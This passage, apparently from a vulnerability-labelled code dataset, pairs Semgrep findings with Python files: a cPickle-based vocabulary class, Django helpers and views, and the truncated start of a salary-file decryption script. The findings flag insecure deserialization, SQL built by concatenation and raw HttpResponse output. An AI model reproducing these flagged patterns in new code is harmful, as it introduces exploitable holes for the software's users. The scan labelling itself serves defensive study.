"impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_1c96c529d83eb849_dc43e353", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 268, "line_end": 268, "column_start": 20, "column_end": 79, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/1c96c529d83eb849.py", "start": {"line": 268, "col": 20, "offset": 9298}, "end": {"line": 268, "col": 79, "offset": 9357}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_1c96c529d83eb849_81eaa01b", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 303, "line_end": 303, "column_start": 20, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/1c96c529d83eb849.py", "start": {"line": 303, "col": 20, "offset": 10697}, "end": {"line": 303, "col": 46, "offset": 10723}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-89",
"CWE-89",
"CWE-89"
] | [
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH"
] | [
241,
268,
303
] | [
241,
268,
303
] | [
20,
20,
20
] | [
62,
79,
46
] | [
"A01:2017 - Injection",
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre... | [
7.5,
7.5,
7.5
] | [
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH"
] | sql.py | /cauldron/sql.py | nerandell/cauldron | MIT | |
2024-11-18T20:10:55.812086+00:00 | 1,600,073,640,000 | 56bf64556e9e210e3b89a2818da0adac22f0a203 | 3 | {
"blob_id": "56bf64556e9e210e3b89a2818da0adac22f0a203",
"branch_name": "refs/heads/master",
"committer_date": 1600073640000,
"content_id": "99223e4041abdb84f34c275496665397f972fa91",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "13d918b1fd8bcdeffac8a662493d91254fc7cdad",
"extension": "py",
"filename": "vocabulary.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 60371841,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3453,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/vocabulary.py",
"provenance": "stack-edu-0054.json.gz:571532",
"repo_name": "lum4chi/chinltk",
"revision_date": 1600073640000,
"revision_id": "f129394984858e7789bec39a2900ebff6f9ae380",
"snapshot_id": "03eed6053bb583e845ddbf405034590e02f4bba4",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/lum4chi/chinltk/f129394984858e7789bec39a2900ebff6f9ae380/vocabulary.py",
"visit_date": "2022-12-12T05:55:09.634619"
} | 3.28125 | stackv2 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright (C) 2016 Francesco Lumachi <francesco.lumachi@gmail.com>
import cPickle
from itertools import izip_longest
class Vocabulary:
"""
Provide a way to organize words and provide translation to a main
dictionary of terms.
"""
def __init__(self):
self.word2id = dict() # map word with an optional ID
self.id2word = dict() # map back id -> main word
self.synonyms = dict() # map a word with its known "normal-form" word
def __getitem__(self, word):
return self.word2id[word]
def __len__(self):
return len(self.word2id)
def add_word(self, word, ID=None):
if word not in self.word2id:
self.word2id[word] = ID
else:
print 'Word already present. Skipping', word
def add_words(self, words, IDs=list(), fillvalue=None):
"""
Load a vocabulary with defined words (optionally mapped
with an user-defined ID)
:param words: list of words
:param IDs: list of IDs, same order/length of words
"""
for w, i in izip_longest(words, IDs, fillvalue=fillvalue):
self.add_word(w, i)
def add_synonyms(self, word, syns):
""" Every synonym is mapped to its normal word """
for s in syns: self.synonyms[s] = word
def main_synonym(self, word):
""" If word is a known synonym, it is replaced with is normal-form """
return word if word not in self.synonyms else self.synonyms[word]
def word_filter(self, word, filler=None, word2id=False):
"""
Remove word or replace it with chosen filler if not present in
Vocabulary.
:param word: term to filter
:param filler: if specified, a filtered words is returned as this value
:param word2id: if True: words are mapped to user-defined id
:return:
"""
w = self.main_synonym(word)
if word2id:
w = self.word2id[w] if w in self.word2id else filler
else:
w = w if w in self.word2id else filler
if w is not None: return w
def words_filter(self, words, filler=None, word2id=False):
filtered = [self.word_filter(w, filler, word2id) for w in words]
return [w for w in filtered if w is not None]
def id_filter(self, _id, filler=None, id2word=False):
"""
Remove id or replace it with chosen filler if not present in
Vocabulary.
:param _id: id to filter
:param filler: if specified, a filtered id is returned as this value
:param id2word: if True: id are mapped back to word
:return:
"""
if len(self.id2word) == 0: # Greedy build
self.id2word = {v: k for k, v in self.word2id.items()
if v is not None}
if id2word:
_id = self.id2word[_id] if _id in self.id2word else filler
else:
_id = _id if _id in self.id2word else filler
if _id is not None: return _id
def ids_filter(self, ids, filler=None, id2word=False):
filtered = [self.id_filter(_id, filler, id2word) for _id in ids]
return [_id for _id in filtered if _id is not None]
def save(self, fname):
return cPickle.dump(self, open(fname, 'wb'))
@staticmethod
def load(fname):
return cPickle.load(open(fname, 'rb'))
| 97 | 34.6 | 79 | 15 | 872 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_90b90780353bfac4_9dd970b9", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 93, "line_end": 93, "column_start": 16, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/90b90780353bfac4.py", "start": {"line": 93, "col": 16, "offset": 3328}, "end": {"line": 93, "col": 53, "offset": 3365}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_90b90780353bfac4_acd68662", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 97, "line_end": 97, "column_start": 16, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/90b90780353bfac4.py", "start": {"line": 97, "col": 16, "offset": 3421}, "end": {"line": 97, "col": 47, "offset": 3452}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-cPickle",
"rules.python.lang.security.deserialization.avoid-cPickle"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
93,
97
] | [
93,
97
] | [
16,
16
] | [
53,
47
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `cPickle`, which is known to lead ... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | vocabulary.py | /vocabulary.py | lum4chi/chinltk | Apache-2.0 | |
2024-11-18T20:10:56.655736+00:00 | 1,322,445,748,000 | c1b4cbbffb4e771417772e1c357811911ed1aca8 | 3 | {
"blob_id": "c1b4cbbffb4e771417772e1c357811911ed1aca8",
"branch_name": "refs/heads/master",
"committer_date": 1322445748000,
"content_id": "8ffe32e4b9ea5fd0bc84e08d318aa58b94102bed",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "d38f20a65948486bb4e87b8a2a1753216876ce74",
"extension": "py",
"filename": "helpers.py",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 1061021,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4001,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/qi_toolkit/helpers.py",
"provenance": "stack-edu-0054.json.gz:571546",
"repo_name": "skoczen/qi-toolkit",
"revision_date": 1322445748000,
"revision_id": "e5b5889e9edd7346c5cccf096e389505b21eed37",
"snapshot_id": "2d187561cd8a8fa45312976ef60cfaf43828a555",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/skoczen/qi-toolkit/e5b5889e9edd7346c5cccf096e389505b21eed37/qi_toolkit/helpers.py",
"visit_date": "2021-01-22T05:10:25.395550"
} | 2.890625 | stackv2 | import sys
class classproperty(property):
def __get__(self, cls, owner):
return self.fget.__get__(None, owner)()
def render_to(template):
from django.shortcuts import render_to_response
from django.template import RequestContext
"""
Decorator for Django views that sends returned dict to render_to_response function
with given template and RequestContext as context instance.
If view doesn't return dict then decorator simply returns output.
Additionally view can return two-tuple, which must contain dict as first
element and string with template name as second. This string will
override template name, given as parameter
Parameters:
- template: template name to use
"""
def renderer(func):
def wrapper(request, *args, **kw):
output = func(request, *args, **kw)
if isinstance(output, (list, tuple)):
return render_to_response(output[1], output[0], RequestContext(request))
elif isinstance(output, dict):
return render_to_response(template, output, RequestContext(request))
return output
return wrapper
return renderer
def exception_string():
import traceback
import sys
return '\n'.join(traceback.format_exception(*sys.exc_info()))
def print_exception():
print "######################## Exception #############################"
print exception_string()
print "################################################################"
def json_view(func):
from django.http import HttpResponse
from django.utils import simplejson
from django.core.mail import mail_admins
from django.utils.translation import ugettext as _
import sys
def wrap(request, *a, **kw):
response = None
try:
response = dict(func(request, *a, **kw))
if 'result' not in response:
response['result'] = 'ok'
except KeyboardInterrupt:
# Allow keyboard interrupts through for debugging.
raise
except Exception, e:
# Mail the admins with the error
exc_info = sys.exc_info()
subject = 'JSON view error: %s' % request.path
try:
request_repr = repr(request)
except:
request_repr = 'Request repr() unavailable'
import traceback
message = 'Traceback:\n%s\n\nRequest:\n%s' % (
'\n'.join(traceback.format_exception(*exc_info)),
request_repr,
)
mail_admins(subject, message, fail_silently=True)
# Come what may, we're returning JSON.
if hasattr(e, 'message'):
msg = e.message
else:
msg = _('Internal error')+': '+str(e)
response = {'result': 'error',
'text': msg}
json = simplejson.dumps(response)
return HttpResponse(json, mimetype='application/json')
return wrap
def silence_print():
old_printerators=[sys.stdout,sys.stderr,sys.stdin,sys.__stdout__,sys.__stderr__,sys.__stdin__][:]
sys.stdout,sys.stderr,sys.stdin,sys.__stdout__,sys.__stderr__,sys.__stdin__=dummyStream(),dummyStream(),dummyStream(),dummyStream(),dummyStream(),dummyStream()
return old_printerators
def unsilence_print(printerators):
sys.stdout,sys.stderr,sys.stdin,sys.__stdout__,sys.__stderr__,sys.__stdin__=printerators
class dummyStream:
''' dummyStream behaves like a stream but does nothing. '''
# via http://www.answermysearches.com/python-temporarily-disable-printing-to-console/232/
def __init__(self): pass
def write(self,data): pass
def read(self,data): pass
def flush(self): pass
def close(self): pass
def noprint(func):
def wrapper(*args, **kw):
_p = silence_print()
output = func(*args, **kw)
unsilence_print(_p)
return output
return wrapper
| 114 | 34.1 | 163 | 19 | 827 | python | [{"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_693d120a8c3dd1a8_6137f4e1", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 87, "line_end": 87, "column_start": 16, "column_end": 63, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmpb8jm_z1l/693d120a8c3dd1a8.py", "start": {"line": 87, "col": 16, "offset": 2988}, "end": {"line": 87, "col": 63, "offset": 3035}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-79"
] | [
"rules.python.django.security.audit.xss.direct-use-of-httpresponse"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
87
] | [
87
] | [
16
] | [
63
] | [
"A07:2017 - Cross-Site Scripting (XSS)"
] | [
"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | helpers.py | /qi_toolkit/helpers.py | skoczen/qi-toolkit | BSD-3-Clause | |
2024-11-18T20:10:58.522407+00:00 | 1,427,296,226,000 | 5798b4d979e47c51336bb44b9bfdc1a71f33da0f | 3 | {
"blob_id": "5798b4d979e47c51336bb44b9bfdc1a71f33da0f",
"branch_name": "refs/heads/master",
"committer_date": 1427296226000,
"content_id": "b088539f744f3ee781024e5ded0f6baf4886f5d4",
"detected_licenses": [
"MIT"
],
"directory_id": "5f83294aacac285bb8da7684b1a9ffb3c0b7ae8c",
"extension": "py",
"filename": "views.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 860,
"license": "MIT",
"license_type": "permissive",
"path": "/fm/mathengine/views.py",
"provenance": "stack-edu-0054.json.gz:571570",
"repo_name": "zequequiel/fastmath",
"revision_date": 1427296226000,
"revision_id": "7f73fbe5258f65359007f28e6b74aa14166a7ff8",
"snapshot_id": "f2d93bc0049dc5ac161429461d44648f4145c697",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/zequequiel/fastmath/7f73fbe5258f65359007f28e6b74aa14166a7ff8/fm/mathengine/views.py",
"visit_date": "2021-01-16T19:55:23.298115"
} | 2.53125 | stackv2 | import json
import fm.mathengine.problems as problems
from django.http import Http404
from django.http import HttpResponse
from django.views.decorators.http import require_http_methods
def index(request):
return HttpResponse("This should return a list of problem types")
@require_http_methods(["GET"])
def problem(request, problem_type, seed):
pclass = problems.get_problem_class(problem_type)
if pclass is None:
raise Http404
p = pclass(seed)
return HttpResponse(json.dumps({'latex': p.get_statement(),
'prefix': p.get_answer_prefix(),
'postfix': p.get_answer_postfix()}))
@require_http_methods(["POST"])
def check(request, problem_type, seed):
pclass = problems.get_problem_class(problem_type)
if pclass is None:
raise Http404
p = pclass(seed)
return HttpResponse(json.dumps({'correct': p.check(request.POST['input'])})) | 27 | 30.89 | 77 | 16 | 192 | python | [{"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_25497cf9e1b889ae_73378225", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 19, "column_start": 9, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmpb8jm_z1l/25497cf9e1b889ae.py", "start": {"line": 17, "col": 9, "offset": 464}, "end": {"line": 19, "col": 46, "offset": 604}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_25497cf9e1b889ae_cd632ec3", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 27, "column_start": 9, "column_end": 78, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmpb8jm_z1l/25497cf9e1b889ae.py", "start": {"line": 27, "col": 9, "offset": 791}, "end": {"line": 27, "col": 78, "offset": 860}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-79",
"CWE-79"
] | [
"rules.python.django.security.audit.xss.direct-use-of-httpresponse",
"rules.python.django.security.audit.xss.direct-use-of-httpresponse"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
17,
27
] | [
19,
27
] | [
9,
9
] | [
46,
78
] | [
"A07:2017 - Cross-Site Scripting (XSS)",
"A07:2017 - Cross-Site Scripting (XSS)"
] | [
"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.",
"Detected data rendered directly to the end user via 'HttpRes... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | views.py | /fm/mathengine/views.py | zequequiel/fastmath | MIT | |
2024-11-18T20:10:59.774125+00:00 | 1,541,990,678,000 | 8d34ef0255d0a8f85f605a5840fc795744e5f1b0 | 3 | {
"blob_id": "8d34ef0255d0a8f85f605a5840fc795744e5f1b0",
"branch_name": "refs/heads/master",
"committer_date": 1541990678000,
"content_id": "05475637f37d145a95b79391eb4273fe186871fd",
"detected_licenses": [
"MIT"
],
"directory_id": "2b0f9d88ec8194aa13a2d6094b38e50293b2f46b",
"extension": "py",
"filename": "show_me_my_salary.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1280,
"license": "MIT",
"license_type": "permissive",
"path": "/show_me_my_salary.py",
"provenance": "stack-edu-0054.json.gz:571586",
"repo_name": "hyerim-kim/show-me-my-salary",
"revision_date": 1541990678000,
"revision_id": "990bb503caa50c6fae7ab5170e4ba7d355770d9b",
"snapshot_id": "446360efbdcaf33de1bc9bd04a799d21c4f24b83",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/hyerim-kim/show-me-my-salary/990bb503caa50c6fae7ab5170e4ba7d355770d9b/show_me_my_salary.py",
"visit_date": "2021-09-27T21:56:42.198564"
} | 2.6875 | stackv2 | import click
import os
import platform
import subprocess
from os import path
from converter import decrypt_html, convert_html, convert_pdf
@click.command('salary')
@click.argument("filename")
@click.option('-p', '--password', prompt=True, help="password")
@click.option('-c', '--pdf', is_flag=True, default='y', prompt=True, help="convert to pdf")
def main(filename, password, pdf):
title, decrypted_html = decrypt_html(filename, password)
dir_path, file_name = path.split(filename)
dir_abs_path = path.join(os.getcwd(), dir_path)
basename, ext = path.splitext(file_name)
title = title.replace(' ', '_')
if pdf:
